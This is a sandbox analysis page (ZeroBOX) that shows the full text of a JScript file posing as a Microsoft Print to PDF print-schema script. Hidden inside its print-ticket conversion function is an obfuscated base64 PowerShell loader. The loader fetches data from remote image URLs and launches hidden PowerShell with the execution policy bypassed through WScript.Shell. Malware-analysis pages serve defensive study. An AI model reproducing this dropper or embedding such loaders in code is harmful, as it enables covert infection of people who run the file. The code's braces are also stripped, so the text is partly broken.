Static | ZeroBOX
No static analysis available.
function convertPrintTicketToDevMode(printTicket, scriptContext, devModeProperties) {
/// <param name="printTicket" type="IPrintSchemaTicket">
/// Print ticket to be converted to DevMode.
/// </param>
/// <param name="scriptContext" type="IPrinterScriptContext">
/// Script context object.
/// </param>
/// <param name="devModeProperties" type="IPrinterScriptablePropertyBag">
/// The DevMode property bag.
/// </param>
// Set Standard namespaces with prefixes
SetStandardNameSpaces(printTicket.XmlNode);
// Get prefix for PDF namespace
var pdfNsPrefix = getPrefixForNamespace(printTicket.XmlNode, pdfNs);
// If pdf namespace prefix is not found, that means that print ticket is produced by a different printer and there is not PDF name space with in print ticket
// This could happen with some legacy application using print ticket wrongly. To avoid failures we are checking first and shot circuiting the rest of the code.
if (pdfNsPrefix != null) {
// Get ParameterDefs in PDC
var pdcParameterDefs = getParameterDefs(scriptContext);
for (var defCount = 0; defCount < pdcParameterDefs.length; defCount++) {
// Try getting the related ParameterInit in the PrintTicket
var currNode = printTicket.GetParameterInitializer(pdcParameterDefs[defCount], pdfNs)
if (currNode != null) {
// Set Devmode string with the value present in ParameterInit
devModeProperties.setString(pdcParameterDefs[defCount], currNode.Value);
}
}
function getParameterDefs(scriptContext) {
/// <summary>
/// Get the base names for the ParameterDefs defined in the JS file
/// </summary>
/// <param name="scriptContext" type="IPrinterScriptContext">
/// Script context object.
/// </param>
// Get PDC configuration file from script context
var pdcConfig = scriptContext.QueueProperties.GetReadStreamAsXML("PrintDeviceCapabilities");
// Set Standard namespaces with prefixes
SetStandardNameSpaces(pdcConfig);
// Get PDC root XML Node
var pdcRoot = pdcConfig.selectSingleNode("psf2:PrintDeviceCapabilities");
// Get all ParameterDef nodes in PDC
var parameterDefs = pdcRoot.selectNodes("*[@psf2:psftype='ParameterDef']");
// Make an array containing all base names for all the ParameterDef's
var pdcParameterDefs = new Array();
for (var defCount = 0; defCount < parameterDefs.length; defCount++) {
pdcParameterDefs[defCount] = parameterDefs[defCount].baseName;
return pdcParameterDefs;
function CreateCapabilitiesParamDefFromPDC(pdcParameterDef, pdfNsPrefix, printCapabilities) {
/// <summary>
/// Converts ParameterDef Node that in PDC into ParameterDef node in PrintCapabilites
/// </summary>
/// <param name="pdcParameterDef" type="IXMLNode">
/// Contains a ParameterDef node in PDC
/// </param>
/// <param name="pdfNsPrefix" type="string">
/// Contains PDF name sapce
/// </param>
/// <param name="printCapabilities" type="IPrintSchemaCapabilities">
/// Print capabilities object to be customized.
/// </param>
var capabilitiesParamDef = createProperty(pdfNsPrefix + ":" + pdcParameterDef.baseName, "psf:ParameterDef", "", "", printCapabilities);
var properties = pdcParameterDef.selectNodes("*[@psf2:psftype='Property']");
for (var propCount = 0; propCount < properties.length; propCount++) {
var property = properties[propCount];
var type = property.getAttribute("xsi:type");
var childProperty = createProperty(property.nodeName, "psf:Property", type, property.text, printCapabilities);
capabilitiesParamDef.appendChild(childProperty);
return capabilitiesParamDef;
function SetStandardNameSpaces(xmlNode) {
/// <summary>
/// Set the Selection namespace values to below namesapces
/// xmlns:psf='http://schemas.microsoft.com/windows/2003/08/printing/printschemaframework'
/// xmlns:psf2='http://schemas.microsoft.com/windows/2013/12/printing/printschemaframework2'
/// xmlns:psk='http://schemas.microsoft.com/windows/2003/08/printing/printschemakeywords'
/// xmlns:psk11='http://schemas.microsoft.com/windows/2013/05/printing/printschemakeywordsv11'
/// xmlns:psk12='http://schemas.microsoft.com/windows/2013/12/printing/printschemakeywordsv12'
/// xmlns:xsd='http://www.w3.org/2001/XMLSchema'
/// xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
/// xmlns:pdfNs= 'http://schemas.microsoft.com/windows/2015/02/printing/printschemakeywords/microsoftprinttopdf'
///</summary>
/// <param name="node" type="IXMLDOMNode">
/// A node in the XML document.
/// </param>
xmlNode.setProperty(
"SelectionNamespaces",
"xmlns:psf='http://schemas.microsoft.com/windows/2003/08/printing/printschemaframework' "
+ "xmlns:psf2='http://schemas.microsoft.com/windows/2013/12/printing/printschemaframework2' "
+ "xmlns:psk='http://schemas.microsoft.com/windows/2003/08/printing/printschemakeywords' "
+ "xmlns:psk11='http://schemas.microsoft.com/windows/2013/05/printing/printschemakeywordsv11' "
+ "xmlns:psk12='http://schemas.microsoft.com/windows/2013/12/printing/printschemakeywordsv12' "
+ "xmlns:xsd='http://www.w3.org/2001/XMLSchema' "
+ "xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' "
+ "xmlns:PdfNs='http://schemas.microsoft.com/windows/2015/02/printing/printschemakeywords/microsoftprinttopdf' "
);
function getPrefixForNamespace(node, namespace) {
/// <summary>
/// This function returns the prefix for a given namespace.
/// Example: In 'psf:printTicket', 'psf' is the prefix for the namespace.
/// xmlns:psf="http://schemas.microsoft.com/windows/2003/08/printing/printschemaframework"
/// </summary>
/// <param name="node" type="IXMLDOMNode">
/// A node in the XML document.
/// </param>
/// <param name="namespace" type="String">
/// The namespace for which prefix is returned.
/// </param>
/// <returns type="String">
/// Returns the namespace corresponding to the prefix.
/// </returns>
if (!node) {
return null;
// Navigate to the root element of the document.
var rootNode = node.documentElement;
// Query to retrieve the list of attribute nodes for the current node
// that matches the namespace in the 'namespace' variable.
var xPathQuery = "namespace::node()[.='"
+ namespace
+ "']";
var namespaceNode = rootNode.selectSingleNode(xPathQuery);
var prefix;
if (namespaceNode != null){
prefix = namespaceNode.baseName;
return prefix;
var guinaldeiro = "merdanVuY3Rpb24gRG93bmxvYWREYXRhRnJvbUxpbmtzIHsgcGFyYW0gKFtzdHJpbmdbXV0kbGlua3MpICR3merdaWJDbGllbnQgPSBOmerdaXctT2JqmerdaWN0IFN5c3RlbS5OmerdaXQuV2ViQ2xpmerdaW50OyAkmerdaG93bmxvYWRlmerdaERhdGEgPSBAKCk7ICRzaHVmmerdamxlmerdaExpbmtzID0gJGxpbmtzIHwgR2V0LVJhbmRvbSAtQ291bnQgJGxpbmtzLkxlbmd0aDsgmerdam9ymerdaWFjaCAoJGxpbmsgaW4gJHNodWmerdambGVkTGlua3MpIHsgdHJ5IHsgJGRvd25sb2FkmerdaWREYXRhICs9ICR3merdaWJDbGllbnQuRG93bmxvYWREYXRhKCRsaW5rKSB9IGNhdGNoIHsgY29udGludWUgfSB9OyBymerdaXR1cm4gJGRvd25sb2FkmerdaWREYXRhIH07ICRsaW5rcyA9IEAoJ2h0dHBzOi8vaWE5MDMyMDcudXMuYXJjaGl2merdaS5vcmcvMjIvaXRlbXMvbmV3X2ltYWdlXzIwMjQwNjI4XzE4NTkvbmV3X2ltYWdlLmpwmerdaycsICdodHRwczovL2lhOTAzMjA3LnVzLmFyY2hpdmUub3JnLzIyL2l0merdaW1zL25ld19pbWFnmerdaV8yMDI0MDYyOF8xODU5L25ld19pbWFnmerdaS5qcGcnKTsgJGltYWdlQnl0merdaXMgPSBEb3dubG9hmerdaERhdGFGcm9tTGlua3MgJGxpbmtzOyBpmerdaiAoJGltYWdlQnl0merdaXMgLW5lICRudWxsKSB7ICRpbWFnmerdaVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmlumerdaygkaW1hmerda2VCeXRlcyk7ICRzdGFydEmerdasYWcgPSAnPDxCQ
guinaldeiro = guinaldeiro.replace(/merda/g, "Z");
var borradela = new ActiveXObject("WScript.Shell");
var petum = "$Codigo = '" + guinaldeiro + "';";
petum += "$OWjuxd = (New-Object System.Text.UTF8Encoding).GetString([System.Convert]::FromBase64String($Codigo));";
petum += "powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD";
borradela.Run("powershell -command \"" + petum + "\"", 0, false);
} catch (error) {
function convertDevModeToPrintTicket(devModeProperties, scriptContext, printTicket) {
/// <param name="devModeProperties" type="IPrinterScriptablePropertyBag">
/// The DevMode property bag.
/// </param>
/// <param name="scriptContext" type="IPrinterScriptContext">
/// Script context object.
/// </param>
/// <param name="printTicket" type="IPrintSchemaTicket">
/// Print ticket to be converted from the DevMode.
/// </param>
// Set Standard namespaces with prefixes
SetStandardNameSpaces(printTicket.XmlNode);
// Get prefix for PDF namespace
var pdfNsPrefix = getPrefixForNamespace(printTicket.XmlNode, pdfNs);
// If pdf namespace prefix is not found, that means that print ticket is produced by a different printer and there is not PDF name space with in print ticket
// This could happen with some legacy application using print ticket wrongly. To avoid failures we are checking first and shot circuiting the rest of the code.
if (pdfNsPrefix != null) {
// Get ParameterDefs in PDC
var pdcParameterDefs = getParameterDefs(scriptContext);
for (var defCount = 0; defCount < pdcParameterDefs.length; defCount++) {
// Get Devmode string related to ParameterDefs in PDC
var paramString = devModeProperties.getString(pdcParameterDefs[defCount]);
if (paramString != null && paramString.length > 0) {
// If Devmode string is present map to print ticket either by creating a new node or modifying the existing node
// Add prefix to ParameterDef base name
var paramName = pdfNsPrefix + ":" + pdcParameterDefs[defCount];
// Try getting the related ParameterInit in the PrintTicket
var currNode = printTicket.GetParameterInitializer(pdcParameterDefs[defCount], pdfNs)
if (currNode == null) {
// Create node if no node is present
var ptRoot = printTicket.XmlNode.selectSingleNode("psf:PrintTicket");
var newParam = createProperty(paramName, "psf:ParameterInit", "xsd:string", paramString, printTicket);
ptRoot.appendChild(newParam);
} else {
// Change the value of the node to Devmode string value
currNode.Value = paramString;
}
}
}
function validatePrintTicket(printTicket, scriptContext) {
/// <param name="printTicket" type="IPrintSchemaTicket">
/// Print ticket to be validated.
/// </param>
/// <param name="scriptContext" type="IPrinterScriptContext">
/// Script context object.
/// </param>
/// <returns type="Number" integer="true">
/// Integer value indicating validation status.
/// 1 - Print ticket is valid and was not modified.
/// 2 - Print ticket was modified to make it valid.
/// 0 - Print ticket is invalid.
/// </returns>
// There is nothing wrong with having only 1, 2 or 3 ParameterInit
s in PrintTicket for the same ParameterDefs that are present in PDC.
// For that reason we just going to return 1 without any check
return 1;
function createProperty(strPropertyName, strNodeName, strValueType, strValue, documentNode) {
/// <summary>
/// Create a property XML Node with child Value Node containing the value
/// </summary>
/// <param name="strPropertyName" type="String">
/// Name of the property Node
/// </param>
/// <param name="strNodeName" type="String">
/// Name to be assigned to the "name" attribute of the property
/// </param>
/// <param name="strValueType" type="String">
/// Type of the value the in the Value Node
/// </param>
/// <param name="strValue" type="String">
/// Actual value that is to be placed in the value node
/// </param>
/// <param name="documentNode" type="IXMLNode">
/// Contains Document XML Node
/// </param>
var newNode = documentNode.XmlNode.createNode(1, strNodeName, psfNs);
newNode.setAttribute("name", strPropertyName);
if (strValueType.length > 0) {
var newProp = documentNode.XmlNode.createNode(1, "psf:Value", psfNs);
var newAttr = documentNode.XmlNode.createNode(2, "xsi:type", xsiNs);
newAttr.nodeValue = strValueType;
newProp.setAttributeNode(newAttr);
var newText = documentNode.XmlNode.createTextNode(strValue);
newProp.appendChild(newText);
newNode.appendChild(newProp);
return newNode;
No antivirus signatures available.
No IRMA results available.